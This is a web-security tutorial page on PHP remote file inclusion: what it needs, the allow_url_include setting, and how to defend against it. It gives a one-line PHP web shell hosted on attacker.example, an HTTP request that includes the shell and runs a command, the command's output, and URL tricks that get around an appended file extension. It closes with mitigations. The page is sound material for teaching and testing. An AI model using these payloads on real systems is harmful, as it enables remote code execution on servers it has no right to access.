File Inclusion: LFI, RFI, and the Road to RCE

Remote File Inclusion (RFI): Loading a File You Host

How remote file inclusion works, why it needs allow_url_include, hosting a shell, the trailing question-mark extension trick, and why RFI is mostly legacy.

Published

Remote file inclusion is the most direct LFI-to-RCE there is: point the parameter at a file you host, and the target runs your code. It is also the most configuration-dependent, because modern PHP disables it by default. This page covers how it works, the one setting it needs, and the tricks that keep it alive on older stacks. Practice on a free live target.

What RFI needs

RFI works when the include can fetch a URL and run the response as code. PHP gates this behind a single setting:

allow_url_include = On      required for RFI (and for data:// / php://input as code)

allow_url_include has defaulted to Off since PHP 5.2 (2006). With it off, a remote URL passed to include simply fails. So RFI is a legacy and misconfiguration finding, not a default one. Test it quickly, but do not build your plan around it on a current target.

Host a shell and include it

When URL includes are allowed, serve a payload from a host you control. Keep the file extension something your own server returns as plain text, so it is not executed on your side:

# shell.txt on your server contains:
<?php system($_GET['c']); ?>
GET /index.php?page=http://attacker.example/shell.txt&c=id HTTP/1.1
Host: target.example
HTTP/1.1 200 OK
Content-Type: text/html
 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The target fetched your shell.txt, included it as PHP, and ran id. Your code now runs as the web user.

Stranding an appended extension

Many vulnerable snippets append an extension (include($_GET['page'] . ".php")). A bare remote URL then becomes http://attacker.example/shell.txt.php, which your server does not have. Because the value is fetched as a URL, a trailing ? or # pushes the appended suffix into the query string or fragment:

http://attacker.example/shell.txt?        the appended .php becomes ?.php, so shell.txt is served
http://attacker.example/shell.txt%23      %23 is #, stranding the suffix as a fragment
https://attacker.example/shell.txt?       https works identically where allowed
ftp://attacker.example/shell.txt          ftp:// if the http fetch is filtered but ftp is not

Prefer the ? form. It reliably becomes a query string in the fetch PHP makes, whereas PHP's HTTP stream wrapper may not strip a %23 fragment before requesting, so the hash variant is less dependable. This is a genuine URL trick either way, which is why it belongs to remote includes and not to filesystem paths (on disk, ? is just a filename character).

data:// when URL includes are off

A common myth is that data:// is a way around a disabled URL include. It is not. The data:// wrapper used as an include source is governed by the same allow_url_include setting as remote URLs, so if RFI is off, data:// code injection is off too. It is listed here only to correct the confusion:

data://text/plain;base64,<base64-php>     ALSO needs allow_url_include=On, not a bypass of it

When allow_url_include is off, drop remote and data:// entirely and reach for the local escalations: PHP wrappers for source reading, and log or session poisoning for execution.

Fixing it

  • Disable allow_url_include and allow_url_fopen, which removes RFI and data:// code injection outright.
  • Allow-list view names, so the parameter can never carry a URL scheme.
  • Do not route user input into include, the single control that closes local and remote inclusion together.

Full guidance is in preventing file inclusion. Next, defeat appended extensions and traversal filters in null byte and filter bypass, or try RFI on a free lab.

← Back to File Inclusion: LFI, RFI, and the Road to RCE